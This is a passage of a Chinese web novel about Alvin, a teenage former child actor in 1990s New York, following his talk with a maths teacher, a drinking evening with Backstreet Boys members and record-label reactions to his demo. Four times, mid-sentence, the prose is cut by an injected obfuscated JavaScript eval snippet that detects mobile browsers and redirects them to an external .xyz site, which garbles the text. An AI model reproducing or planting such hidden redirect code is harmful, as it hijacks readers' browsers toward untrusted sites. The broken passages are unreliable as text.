下午三点十五分，最后一节课结束，校园内便立刻变得喧闹。原本空旷的走廊迅速塞满了嬉笑打闹着的学生。 几乎是在铃声刚响的瞬间，早已准备好的阿尔文便迫不及待地清空桌面，背上书包就要往门外冲。 他今天要去邮局寄试听带。比起其他服务窗口，包裹寄取关门的时间要提前至少一个小时。万一碰上高峰期，今天特地带出来放在储物柜里的demo就可能寄不出去。为了避免夜长梦多，还是尽早为好。 “稍等一下，迈瑞克先生，我有事情要和你说。” 在阿尔文路过讲台时，戴着琥珀玳瑁眼镜，满头白发的数学老师塞西尔夫人叫住了他。 阿尔文急刹车，上半身还维持着往前冲的前倾姿势，脚却已经及时停住。他问：“有什么事吗？塞西尔夫人？” “有些……”塞西尔夫人顿住。当了很多年教师的她敏锐地注意到不知什么时候安静许多的教室。 本该沉浸在放学欢乐气氛中的学生们，在阿尔文被她叫住后，都放慢了动作，假装闲聊或者慢吞吞地收拾书包，实则悄悄竖起了耳朵。尤其是有几个女生，塞西尔夫人挑眉，这可不是她们正常下课的速度。 不过也正常。 她的目光落回阿尔文身上。至少六英尺高的男孩不仅身材高挑修长，还有一张英俊到闪闪发光的脸。恰好有阳光透过教室窗户照进来，将那头浓密柔顺的黑发也笼罩在淡淡的金光下。 虽然史代文森高中遵循精英教育……但得了吧，谁说优等生就不能喜欢俊男靓女？瞧瞧这些年轻的男孩女孩们……青春啊，真是妙不可言。 塞西尔夫人轻咳一声：“请跟我到办公室来一趟。” “好的。”阿尔文瞥了眼门外，有些焦虑地看了眼腕表，但还是点头答应。 他并没有注意到其他人若有若无的关注，或者说，现在他的注意力全都放在了不断流逝的时间上。不知道塞西尔夫人要说什么，但希望不要太久，不然他真的要赶不上了。 —— 教师办公室收拾得非常整齐。靠墙的位置摆放着两米高的深胡桃木书柜，塞满了各类书籍。办公桌上除了一台厚重的IBM电脑和教案外、就只有一个精致的雪花水晶球。 阿尔文的视线第一时间就落在了那个水晶球上。 很漂亮，但和办公室略微古朴厚重的装扮风格完全不符，甚至有些突兀。 不过没等他多在意，塞西尔夫人便示意阿尔文在她对面坐下，自己从木质书桌左下方的抽屉里抽出一张纸。油墨印刷的内容格外熟悉。 在看到那张纸的一瞬间，阿尔文眉心一跳，也没空胡思乱想了，姿势都变得端正起来。 他勉强扯了下嘴角，露出一个尴尬又不失礼貌的微笑。 ……拜托，不要吧。 但很明显事情并不如他所愿。 “我想你已经猜到我今天找你来做什么。”塞西尔夫人将那张印着铅墨的成绩单顺着桌子推过来，双手交握，严肃地说。 “听着，孩子，我不关心你之前是不是大明星，有没有去过好莱坞，也不关心你是不是从洛杉矶转学过来……” “不是明星，”阿尔文没忍住纠正道：“而且是佛罗里达。” “好的，迈瑞克先生，佛罗里达。但那不重要，重要的是你现在是个学生，生活在纽约、而在史代文森高中上学。你需要知道，这里的进度恐怕比F1赛车都要快。一旦被落下，就可能再也没有没有机会跟上进度。” 作为纽约知名的公立高中，史代文森拥有着顶尖的教育资源和精英校友。生源顶级，对学生的要求自然也就水涨船高。其他地方转来的学生难免会觉得吃力。 没想到塞西尔夫人还看F1，真时髦。眼神焦点落在那颗水晶球上，阿尔文任由思绪飘飞。表面上看着神情仍旧认真，脚尖却不自觉地朝着门口的方向。 “而很明显，你现在遇到了点麻烦。”塞西尔夫人还在继续：“考虑到你刚转学不久，其他成绩都还看得过去，但遗憾的是，数学只有B-。既然能通过入学考试，证明你有这个能力。如果你要申请常青藤院校的话，这可不是什么好消息。” 等等？常青藤？谁说我要申请常青藤？ 阿尔文回神，视线从水晶球移到塞西尔夫人的脸上。他真心诚意地困惑，声音都比平时高了半个八度：“稍等一下，常青藤？谁？我吗？” 他的成绩算不上差，但要想申请常青藤还有很大的差距。哪怕SAT和GPA能勉强达标，可如果没有各种学科竞赛和社团活动经验，同样无法满足申请条件。 一心扑在音乐上的阿尔文对自己有清晰的认知，他根本没有多余的精力去准备各种活动，所以从一开始就没有把这些纳入自己的参考范围。 也许是那过于明显的不知情让塞西尔夫人也疑惑了。 她迟疑道：“上个月的咖啡会上，你母亲有说过对你的期望，并向我们咨询了申请指标。你们没有……”统一吗？ PTA，家长教师协会，每个月都会挑时间以喝咖啡的名义进行一次家校交流。 “……她也参加了？”阿尔文沉默一瞬，仅仅是稍微动动脑子，他就明白发生了什么，但还是艰难问道：“我的意思是，她自己参加的，不是助理？” “你的母亲和你长得很像，我想我应该不会认错。” 一瞬间，巨大的焦虑和烦躁之情涌上心头。阿尔文一时间哑口无言，不知道该说什么。 但最后他什么也没有说。 说什么呢，和谁说呢？ 拳头无意识地攥紧。因为长期练习吉他，指腹有着薄薄的茧，直到被指甲掐得深陷进去才感到些微疼痛。 他什么也不想说。 “……我知道了，我会跟她沟通的。” 注意到男孩明显低落下去的情绪，塞西尔夫人也不自觉地缓和了语气：“还有一件事我一直想问，你已经来这里两个月了，但我注意到，你并没有和任何群体交往过……亲爱的，一切都还好吗？” 在学生时代，独行侠可不是什么好事，最起码在纽约是这样。 阿尔文没法回答塞西尔夫人的问题。尽管他不想表现得那么没礼貌，但注意力真的无法集中。 思维混乱得像是被人浸在粘稠的浆糊里，他试图将自己拖出来，但无济于事，只能一边用力盯着某个东西让自己专注，一边心不在焉地含糊道。 “哦，还好，我很好。嗯，只是非常忙，有很多事情要去做，暂时还没有时间去考虑交朋友的事情……对，就是这样。” 这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177981|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的反应反而让塞西尔夫人更加担忧。 她顺着阿尔文的视线落点看去，发现是那颗水晶球，便尝试着以此展开话题：“那是我以前的学生送我的，她是个非常聪明的孩子。见到她的第一眼，我就敢肯定她的未来肯定一片光明。果然，虽然遇到了点小困难，但最后还是考上了普林斯顿，经济学，前途无量。” 说到这，她伸手拿起水晶球，拧紧发条。柔和的音乐声里，细碎的银色亮片纷纷扬扬，仿佛在透明玻璃里下了一场小小的雪，雪落在中心的那个小人身上，像被施了魔法一样。 “说起来，水晶球不是象征着预知能力吗？那女孩在去新泽西前送了我这颗水晶球，说感谢我当时那么肯定地说她未来肯定会过得很好。对她来说，我就有这样的预知能力，瞧，多有意思啊，不是吗？” 预知未来吗？ 阿尔文愣神了一下，但迫切想要离开的心情超越了一切，他不想再继续待在这里，随便什么地方都好，只要不是这。 他像是突然想起了什么，抬腕看了眼手表，露出了格外焦急的表情：“哦，天呐，已经这个时间了吗！” “怎么了吗？” “抱歉，塞西尔夫人！我突然想起来我待会还有点事，很急，非常急。”他的语速飞快，尾音几乎要飘起来。 听得塞西尔夫人愣了一下，连忙理解地说：“好吧，那你先去忙吧。” “非常抱歉！” 走出办公室大门前一秒，阿尔文脸上还是急切与歉意，离开的下一秒，刚刚脸上的所有表情便在一瞬间被抽离。 没什么好抱歉的，他想，面无表情地走向储物柜，从里面取出包好的东西后向外走去，唇角绷直，没有一丝弧度。 下午四点的太阳已经西斜，暖黄色的阳光将碧绿的草皮染得柔和。操场上穿着蓝白球衣的橄榄球校队成员们正在追逐着那颗棕色橄榄球，尽情挥洒着汗水。女孩们则是各种五彩缤纷的颜色。 阿尔文背着书包走在路上。 只有他是灰色的，他想。灰色的衣服，灰色的心情，灰色的社交圈，灰色的家庭关系，灰色的未来。 脑海里不知道怎的，又浮现出了塞西尔夫人桌上的那颗水晶球。 阿尔文突然很想写点什么。 灵感好像突然咕噜咕噜从脑袋里冒出来，也许是有感而发，不吐不快。 他没有放过这种书写的冲动，随便找了个位置，从包里掏出纸笔用书包一垫，便开始奋笔疾书，嘴巴里同时轻哼着旋律：“我有一个水晶球，我能从中预测未来。” 手头上没有乐器，阿尔文便用手指在腿上轻轻打着节奏。铅笔在纸张上飞速划过，留下一连串流畅潦草的花体。 [它告诉我 有些日子会格外暗淡 格外漫长］ “……要多久才能结束呢？要何时才能幸福呢？”他哼到一半突然卡住，把这两句词重复了几遍，不知道是韵脚还是旋律，总听着不太合适。 笔尖悬在后面那几句上，阿尔文犹豫了半晌，还是全部划掉。删删改改，最后换成了完全相反的内容。 [它告诉我 虽然会有些困难 但一切都会变好 你的未来会明亮、幸福、又耀眼] ［而我确信这一点] 6. 谁想要来一杯？ 纽约曼哈顿，下午五点半。 熙熙攘攘的人群挤满了地铁站和人行道，空气中漂浮着充满诱惑力的热狗香气。尤其是在这个时间点，更是让人垂涎欲滴。 阿尔文倒不是很饿。他靠在街角的电话亭旁发呆，脑海里还在不停循环着刚刚的旋律，思考着如何将其完善。 直到一辆二手银灰色雪佛兰卡普里斯停在路边，他才从思绪中回过神。 “Hey！Bro！你怎么又在发呆？快上车！”车还没停稳，一个金灿灿的脑袋就从后座车窗里探出来，冲着阿尔文高声大喊：“这里是禁停区！” 这是尼克·卡特，后街男孩的成员之一。周围路过的人群被这里的热闹吸引来注意力，又因为男孩们出挑的相貌而放慢脚步。 阿尔文拉开车门，把背包扔进尼克·卡特的怀里，笑骂道：“那也得你先挪挪屁股，尼克，这么小的位置我可挤不进去。” 原本宽敞的后座在塞进三个人后也变得格外拥挤，尤其是其中两个还是六英尺的青少年。 “拜托！我已经快被挤死了！都快要坐到布莱恩的腿上了！”金发碧眼的英俊男孩大声抱怨，却没有换来一个眼神，只好抱着包委屈巴巴地给阿尔文腾位置。 二手车的车门不是很灵活，必须用力才能合上，伴随着哐的一声，阿尔文才坐进车里。 他和车里每个人挨个打招呼。“嗨，布莱恩！AJ！还有霍伊！我们真的有相当长的时间没有见面了！” 听到自己名字的布莱恩回了他个温和的笑容。 后街男孩一共有五个成员，尼克·卡特，霍伊·多罗夫，布莱恩·利特尔，AJ·迈克林，还有凯文·理查德森。他们之前一直在佛罗里达的奥特兰多活动，后来签了jive唱片才来到纽约。 阿尔文就是在奥特兰多和他们认识的。 不过相对来说，瑞恩·高斯林要和AJ他们更熟，阿尔文只是喜欢跟着瑞恩一起玩罢了。但都是年纪相仿的男孩，一来二去，关系也都不错。 他左右看了一圈，发现少了个人：“等等……凯文那家伙去哪里了？” 前座的霍伊回答了这个问题：“凯文？哦，他还在公司和制作人沟通，你知道的，队长总是有很多事情要烦恼。” 作为年龄最大的那个，凯文·理查德森比其他成员要更沉稳，也要经常负责为其他成员们善后。 阿尔文也知道他们最近很忙：“9月份你们的单曲就要发布了吧？” “Yep，”驾驶座的AJ打了个响指，“你下午打电话的时候我们正好下午公司有事，结束了就直接来接你。” 作为一名走在时尚最前沿的潮男，即使现在天色已经昏暗，他的鼻梁上也仍然架着一副宽大的纯黑墨镜，让人十分怀疑他到底能不能看得见路。 尤其在这人是司机的情况下，更是令阿尔文担忧自己的生命安全。 窗户被摇下来，热风呼呼灌进车厢。 AJ一边目视前方看路况，一边伸长手臂到后座：“对了，你要给我的东西呢？” “在这里。”阿尔文推开尼克勾住自己脖子的胳膊，从背包里翻出一个用牛皮纸包装得严严实实的信封。 一个小时前，他赶在包裹寄取窗口关门的最后几分钟寄完了邮件，但还留下了一份。然后在附近街角的公共电话亭拨打了AJ的电话。 就像之前和瑞恩在电话里聊的那样，拜托公司内部成员内推肯定比自己海投的成功率高，最起码能确保demo真的到了音乐制作人手中，而不是在初筛的时候就被敷衍随意的丢弃。 而AJ在电话那头只是听到就一口答应了下来，阿尔文对此十分感激：“真的非常、非常感谢，AJ，你真是帮了我大忙了。” “顺手的事。”AJ潇洒地挥了挥手。 “嘿！阿尔，你为什么不找我？”其他人来之前就已经知道这件事，但只有尼克插进他们俩人之间，不甘寂寞地质问阿尔文：“难道不应该我们俩的关系更好吗？” “如果我打你电话能打通的话……说实话，有时候我真的想知道你买电话到底有什么用？”永远打不通。阿尔文毫不留情地翻了个白眼。 可偏偏因为长得太好看，连翻白眼都像是电影慢镜头，可惜对象并不懂得欣赏，只是心虚。 尼克讪讪一笑，摸了摸鼻子：“意外，是意外啦。” 在场知道他跳脱性格的人全都哈哈大笑起来。 在尼克的喋喋不休下，他们很快就到了酒店。考虑到这群人都不是本地人，jive唱片为了方便他们生活，便在附近的酒店续了长约。 这个时间点走廊的人还不多，几个年轻人打打闹闹、勾肩搭背地钻进脾气最好的霍伊的房间。从房间的装饰布局就可以看出jive对后街男孩的重视，虽然说不上豪华，但绝对很舒适。 一进门，AJ就熟门熟路地摸到了minibar旁边，熟练地拉开柜门，从里面挑挑拣拣，选出几瓶冒着寒气的冰镇罐装啤酒。 他举着酒瓶大喊：“谁想要来一杯？” 美国法定饮酒年龄是21岁，但绝大多数青少年都有过悄悄喝上那么一两口的经历，追求那种违背禁令的刺激感。更何况这几个男孩可都不是什么听话的类型，成员间相差较大的年纪更是方便了他们偷偷喝酒。 “我！”尼克立马跳起来第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177982|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个相应，看起来意愿强烈。 “别忘记你现在才15岁，尼克，记得吗？”袖子被随手卷到手肘，露出线条流畅的手臂肌肉。阿尔文赤脚踩在柔软的地毯上，在房间拐角处的沙发上找了个舒服的角度窝好，顺便调侃道。 他现在心情非常好。下午糟糕的情绪在此刻欢快的气氛里烟消云散，整个人都放松下来，浑身散发着愉悦的气息。 “大家瞧瞧啊，这里有人在装乖宝宝！”尼克顺势坐在沙发扶手上，伸手捏住阿尔文的脸，啧啧称奇。 “我赌他今晚肯定不会碰一点酒，等等，见鬼！别打！”还没说完，就被阿尔文一把拽倒，翻身面朝下按在靠背和椅面的夹缝里，一边挣扎一边大笑。 “Fuck！谁来救救我！” —— “这可不关我的事。”房间的主人霍伊原本想坐到飘窗上，但发现要路过这纷争之地后，默默地端着倒满威士忌的酒杯走远了。 “那你就闭上嘴！”阿尔文利用巧劲让人不能动弹。 几缕碎发垂落到额前，一双蓝眼睛亮得惊人。他得意地问：“认输吗？” 尼克举双手投降：“认输认输，可以把我放开了吗？” 阿尔文又在那颗金色的脑袋上狠狠揉搓了一把，才松开对方。 身上的衬衫因为刚刚的打闹已经皱皱巴巴，领口歪斜，露出结实紧致的腰线。他索性解开几颗扣子，冲着AJ招手：“给我一瓶。” “你确定吗，小男孩？”AJ没有直接把酒给他：“我可不想成为你老妈嘴里带坏你的坏家伙。” 他们对阿尔文的家庭情况也有所耳闻。 “不要在这个时候提醒我我在干坏事好吗？”阿尔文整张脸皱成一团，光是想想被发现的后果就觉得头皮发麻。 他撇撇嘴：“不过可能要让你失望了，她今天有个约会，可没空管我。而且你说的好像她能分辨出我有没有在说谎似的。” 很多人见到阿尔文的第一面都会对他产生一些错误的印象。毕竟男孩黑发蓝眼，高挑瘦削，眉眼英俊得惊人，却没有攻击性，反而带着点说不清道不明的忧郁和疏离，让人和他说话时不自觉地就想要放轻声音。 阿尔文刚开始还会想要打破这种刻板印象，但后来发现能得到很多便利后，便自然而然地顺从这种趋势，甚至还无师自通地学会了如何乖巧又羞涩地笑。 只有最熟悉的几个朋友知道他在装，连父母都被这种假象蒙骗，给了他很多信任。当然，他也很注意保持这种良好的形象，目前暂时没有失手过。 AJ哈哈大笑着把啤酒扔给阿尔文:“哦，我差点忘了，你可不是什么乖宝宝。” 7. 少年烦恼 冰啤酒表面凝着一层薄薄的水珠。拉开拉环，噗呲一声，气泡便混着液体冲出小小的开口。 阿尔文没在意流到手上的啤酒，仰头猛灌了一口。 喉结滚动时，修长的脖颈和下颌绷成一条漂亮的直线。一直到瓶底空空，他才意犹未尽地叹了口气，用力捏扁易拉罐，随手丢进垃圾桶，又漫不经心地拿了一瓶新的开封。 等到半个小时后，终于带着打包好的披萨和快餐赶回来的凯文看到的就是满地的啤酒瓶和几个已经喝到微醺的友人，一时间竟然不知道该怎么下脚。 他忍不住骂了句脏话：“Holyshit！你们到底在搞什么鬼？喝这么多，认真的吗？” “欢迎回来！”尼克冲着凯文张开双臂，实际眼神却渴望地锁定在他手里的食物上：“我要饿死了。” 虽然芝士和肉酱都已冷透，但大家还是狼吞虎咽地将所有食物一扫而空。吃饱喝足，众人便四仰八叉地散落在房间各处，有一搭没一搭地闲聊着。 还是凯文想起来问阿尔文：“你晚上回去吗？” “回。”没有报备过的夜不归宿在母亲克莱尔那里是被严令禁止的。 阿尔文看了眼手表，七点半，也不算晚，便起身准备告辞。AJ有事情要和他说，两人便一起往外走。 —— 出了门，夜风扑面而来。 喝醉后的男孩眼神有些发直，连动作都变得慢吞吞，却因此带着点茫然和脆弱。 黑发被吹得有些凌乱，路灯柔和的光线笼罩在阿尔文的头顶，像是给他戴了个朦胧的金色光圈，再加上本就如雕塑般精致的五官，在那一瞬间，仿佛是降临人间的天使。 让人不禁想问问他，你在为什么而烦恼。 “心情不好吗？”AJ确实这么问了。 “……唔，也不算吧，就是，有点不知道未来会怎样。” 阿尔文抿起嘴角，习惯性地挂起笑容，但眼神却没有焦距。 也许是太放松，也可能是因为酒精麻痹了人的大脑，他突然有说些什么的冲动。 “当初剧组解散的时候，我和瑞恩说没什么大不了的，离开了迪O尼也没关系，反正以后有的是机会。但实际上呢？根本不是那样。自从来到纽约后，我的生活简直一团糟。” 阿尔文双手环抱在胸前，试图从这样的动作中获得些安全感：“你看，你们的第一支单曲马上就要发布了，但是我呢，甚至连录歌都要躲着妈妈，签约就更别提了。在学校里也不受欢迎，成绩也不够好，以前所有值得骄傲的东西现在都变成了问题的来源。” “而且你知道吗，其实我下午还被老师找去谈话。她问我我怎么不交朋友。” 不交朋友？在他的印象里，阿尔文虽然不是那种一堆朋友的类型，但在人际交往方面也并不差。AJ皱起眉：“你说了什么？” “我什么都没说。”阿尔文耸耸肩，故意用很轻松的语调来说这件事：“难道你要我和她说，对不起，塞西尔夫人，根本不是我不想要交朋友，而是没有人和我说话……” “那真是糟透了。”他喃喃自语，视线落在眼前繁华的夜景上。 霓虹灯光闪烁，高大的建筑物，奔涌的车流，还有街上步履匆匆、衣着时尚的都市男女。 这个城市是那么的大，那么的繁华，好像可以包容一切。 “……所以有的时候我也会想，这是不是都是我自己的问题。”阿尔文想。 那么无法适应这里的自己，是不是才是那个不合时宜的存在。 AJ定定地看了他几秒，突然伸手使劲揉了揉阿尔文的头发，非常用力，力度简直像是要把阿尔文的脑浆给摇匀，搓得他简直头晕眼花，差点没站稳摔跤。 “……你在做什么！！”这下阿尔文可没空忧伤了。一双蓝眼睛瞪得生圆，控诉地大喊：“这真的很痛！” “在给你做心灵spa，我看你就是酒喝多了在发酒疯。”AJ还没放过他，还又揉又捏，把阿尔文的脸都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177983|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揪得发红。丝毫没有因为这张脸长的好看就手下留情。 急得阿尔文差点跟他跳脚。 两个人在酒店大门口就这么毫无形象地扭打在一块。来往路过的人纷纷投来奇怪的视线。 僵持了好一会都没有分出胜负，还是阿尔文率先投降，因为他的眼角余光注意到了酒店的保安似乎有上前的趋势。 “行了行了，我们都放手，打平了！” 虽然这么说，也没有人先放开，还是约法三章好一会才同时松开了揪着对方衣领的手。 这么一折腾，刚刚攒起来的那点多愁善感全都烟消云散，连酒都清醒了八分。 理智回笼后，阿尔文才后知后觉地意识到自己刚才的行为到底有多幼稚。 ……太丢人了。 不仅仅是因为当街“打架”，还因为那些因酒醉而秃噜出的心里话……简直太羞耻了。 “Jesus，我刚刚都说了什么……”他捂住脸，从脖子到耳朵根全都红得彻底，只恨不得找个地缝钻进去。 “哈！你也知道。”大了两岁但是身高矮了一截的AJ喘着粗气，搞不明白这家伙怎么看起来那么瘦力气却这么大，他刚刚差点连喝醉酒的醉汉都没打过。 蹲在地上做了十分钟心理建设，阿尔文才站起身，装作若无其事的模样：“让我们来做个交易吧，AJ。今晚的事不要告诉别人，就当作是我们俩之间的秘密。算我欠你一次，怎么样？” “不要告诉别人？”AJ拖长语调。 阿尔文用力点头，期待地看向他。 AJ吧啦吧啦输出了一大堆：“那你就看错人了，bro，我可不是那种好心肠，我不仅会告诉别人，我还会告诉所有人。待会楼上的那群醉鬼就会知道，然后我会打电话给瑞恩，告诉他你是怎么眼泪汪汪地抱怨自己没有朋友，再把这件事作为把柄嘲笑你一辈子。” 阿尔文气得头顶冒烟，攥紧了拳头。 你这家伙，给我收敛一点啊！ 8. 哪来的天才？！ “又收到了这么多？看来你今晚要加班了。” 利马路过同事位置时，看到他正摊在椅子上，生无可恋地整理面前一大堆的录音带和简历，没忍住调笑了一句。 “是啊，这么多试听带，但只有两个值得进一步考察，而且这还是我的助理筛选过后的结果……”想到这里，同事为自己过于繁重的工作深深地叹了口气。 但谁让这是他们A&R（艺人与曲目）部门的核心工作呢？ 一家大型唱片公司就像是一台精密的机器，必须由不同部门协同合作才能正常运转，一般包括音乐制作、艺人经纪、市场企划、发行销售几个部门。A&R中的R是曲目制作，A就是发掘艺人。这个部门的工作人员要负责评估来自世界各地音乐人投稿的试听带，判断他们的音乐质量和商业潜力。 简单来说就是，好不好听，能不能赚钱。 “不过要不要加班还说不准。”说到这里，同事拿起旁边单独放置的一盘磁带：“其他的都听完了，只剩下这最后一个。” 他露出了一个即将逃脱苦海的表情：“听完这个小男孩我就下班。” “小男孩？什么意思？”想到最近听到的风声，利马提起了点兴趣。 “字面意思。看，他的简历上写着的出生时间可是1980，算下来就是15岁，可不就是小男孩吗？”同事把放在一起的简历递给利马看。 “阿尔文·亚杜尼斯·迈瑞克，”利马熟练地在一堆英文字母中寻找到自己需要的信息，确实是15岁：“而且还出演过迪O尼……哇哦，这个词可离我有段时间了。” “可不是吗？” 对于混迹职场已久的成年人来说，儿童节目距离他们的生活无比遥远。当然，那些家里有孩子的除外。 “但我确实有点好奇了。”利马摸摸下巴，他负责的工作不是demo筛选，而是艺人签约。这项工作最重要的一点就是要有对艺人潜力和市场的敏锐观察力。 目前的主流音乐市场中，最火热的要属另类摇滚、hip-hop、R&B流行、还有乡村音乐等几大流派。这些相对成熟的音乐风格决定了主流艺人也集中在20到30岁这个年龄阶段。 不过随着市场的逐渐饱和，越来越多的公司开始向外开拓，寻找着新的销售渠道。 比起其他城市，作为美国乃至世界的经济中心，纽约有着嗅觉最敏锐的商业人才，自然早已察觉到青少年听众的巨大潜力，也有些人大胆地做出了新尝试。 “你也应该听说过吧？jive最近的那个策划？”利马问。 Jive唱片计划在搞一个teenpop乐队，这是行业内部不知何时悄悄流传出来的秘密。 说是秘密，其实所有人都知道，只不过大家都在悄悄观察。 正所谓友商的商业开拓计划就是我司的下一步发展方向。 成功了就模仿，失败了就及时止损。 这就是商场上朴素的正义观。 比起某些“古板守旧”的公司，作为老牌主流厂牌的RCA（美国广播唱片）还是很开放的。虽然不如jive那么激进开拓，但也愿意尝试新鲜事物。也正是这种开放的态度，让他们一度签下过猫王、惠特尼·休斯顿等超级巨星。 作为A&R部门的副总监，利马自然也早早听到了风声。 比起其他成年人各种花里胡哨的头衔，阿尔文的这张纸可谓算是单薄，只有最基础的纯文字。从简历上看不出什么特色，利马随手从旁边拖过一张椅子：“我和你一起听听看吧，正好也了解一下现在的年轻人是什么实力。” “好啊。”有人陪自己一起工作，同事当然欣然答应。他打开磁带播放设备，将用油性笔写着阿尔文名字的demo塞进去，然后按下了播放键。 伴随着轻微的电流声，流畅的前奏响起。 根本不用看提示，他们俩就都听出了这是什么歌。迈克尔·杰克逊的《YouAreNotAlone》。这首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177984|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单曲几乎是刚刚发行就迅速占据了各大榜单，并在首周就空降美国公告牌单曲榜第一，成为公告牌史上第一首空降冠军单曲。 谁会听不出来呢？ 但这首歌可不好唱。两人对视一眼，都从对方眼里看出了内心的想法。有几近完美的原版演绎在前，要想唱得好听、有感情、且唱出自己的风格，对任何一个歌手来说都是极大的考验。 可紧接着，伴随着第一句歌声响起，利马只觉得脊背就像是被电流击中。 他猛地抬起头，就对上了同事同样激动无比的眼神。 利马用口型无声示意：你听见了吗！！ 同事重重点头。 这个嗓子！这个音乐理解能力！这种情感表达！而你告诉我这只是个十五岁的小孩？？真XX见鬼！ 不过哪怕已经激动到手舞足蹈，但两人都默契地没有暂停，而是一直保持着无声的状态继续听下去。 第一首是流行，第二首则是改编乐队。 Thepoweroflove的歌声一响起，利马就起了全身鸡皮疙瘩。太干净了……干净纯澈的高音不仅清澈明亮，还带着点成年人很难做到的空灵与童真，就像是歌词唱得那样，连灵魂都仿佛被净化。 可震撼完全没有结束。在那高昂的、明亮的、自带混响的一句唱出来后，利马简直瞳孔地震，头皮发麻。 如果没有专业音乐制作人从中指导，也就意味着这个孩子仅仅凭借着自己就做出了如此精彩的高音共振，并且聪明地将其放在最高潮的部分，形成了如此惊艳的效果。 他抓住自己的头发，简直不敢相信自己听到的。Jesus，这是什么样的天才！ 整盘磁带被播放完，利马才兴奋地抓住同事的肩膀使劲摇晃，激动到脸上泛起潮红：“签下他！” “听着，虽然搞不明白这样的天才为什么到现在都没有被抢走，但管他的呢，现在就是机会！！” “签下他！我们会赚翻的！” 9. 面试 这也是Jive唱片工作人员的想法。 他们今天会组织这场面试，完全是因为后街男孩的请求。 虽然在接下来几年的商业计划中，jive唱片公司确实准备在teenpop上投入大量资金，但这并不代表着他们就对这条路很有信心。像是摸着石头过河，在没有成功案例的情况下，一切只能加倍小心谨慎。 准备后街男孩一个组合已经是大胆的尝试，再加上更多的青少年？ 不不不，还是不要冒险为好。 不过为了给接下来主捧艺人的面子，A&R部门还是派出了几个较为空闲的制作人来充当门面。但并没有人太当回事，只是来走个过场。 原本面试应该定在会议室，但这几个制作人想趁着这个机会来场头脑风暴。后街男孩的单曲虽然早就制作完毕，但是接下来的专辑计划还在筹备中，必须加快速度，于是几人便把地点定在了工作室。 他们一边聊着工作，一边漫不经心地等待着，一直到有人敲门时才停下交谈。 然后齐齐愣住。 “……你是不是走错部门了？” 几秒后，本次面试的主要负责人约翰·乔尔才开口道，语气带着点不太确定。 “什么？”阿尔文又抬头确认了下门牌，确定自己没有走错后，才落落大方地自我介绍：“没有错。下午好先生们，我是阿尔文·亚杜尼斯·迈瑞克，今天的面试者。” 几个面试官面面相觑，都从对方的眼里看到了震惊。 倒不是他们没见过俊男靓女。音乐影视不分家，好莱坞的男星女星们都有着一张漂亮的脸蛋，因为工作难免会产生交集。看多了虽然说不上习以为常，可也不算稀奇。 但有一件事是大家公认的事实，那就是真正的美人都在影视圈。 毕竟不管你人长得好不好看，只要你有一幅美妙的歌喉，就能在音乐圈闯出一番成就。但如果面相崎岖还要登上大荧幕，除非实力过硬，否则就是在给观众添堵。 所以在听到后街成员向他们推荐阿尔文的时候，这些人从来都没有考虑过对方的长相。 “……好吧，如果你确定的话。”约翰咂舌。 说实话，这张脸站在这里就已经赢了大半。 如果不从音乐的角度，单纯只从艺人潜力层面上来说，在场没有人会怀疑对方的商业价值。 完全不应该来这里啊！ 应该赶紧去好莱坞，绝对会大受欢迎！ 不过想归想，他们还是很有专业素养的。 约翰负责本场的面试，很快收拾好情绪开始正常流程，只不过态度比刚开始端正了许多。他指了指房间里摆放的乐器：“吉他、钢琴还是什么其他的乐器？你可以随便选。先给我们展示一下你准备好的表演曲目吧。” “钢琴可以吗？”阿尔文一进门就看见那台漂亮的三角钢琴。它美丽优雅，润白的琴键闪着光泽，不停地吸引着他的注意力。 “当然，来吧。” 阿尔文便在钢琴前坐下，修长的手指在黑白琴键上扫过，先试弹了几个音。 “不说别的，这画面看起来就令人赏心悦目。”另一名制作人悄声和约翰说着：“听说他之前混过迪O尼，不知道有没有演过王子？” “我觉得肯定演过，哪怕我不是姑娘，我也能猜到她们的想法，啧啧啧，这个看脸的世界。” 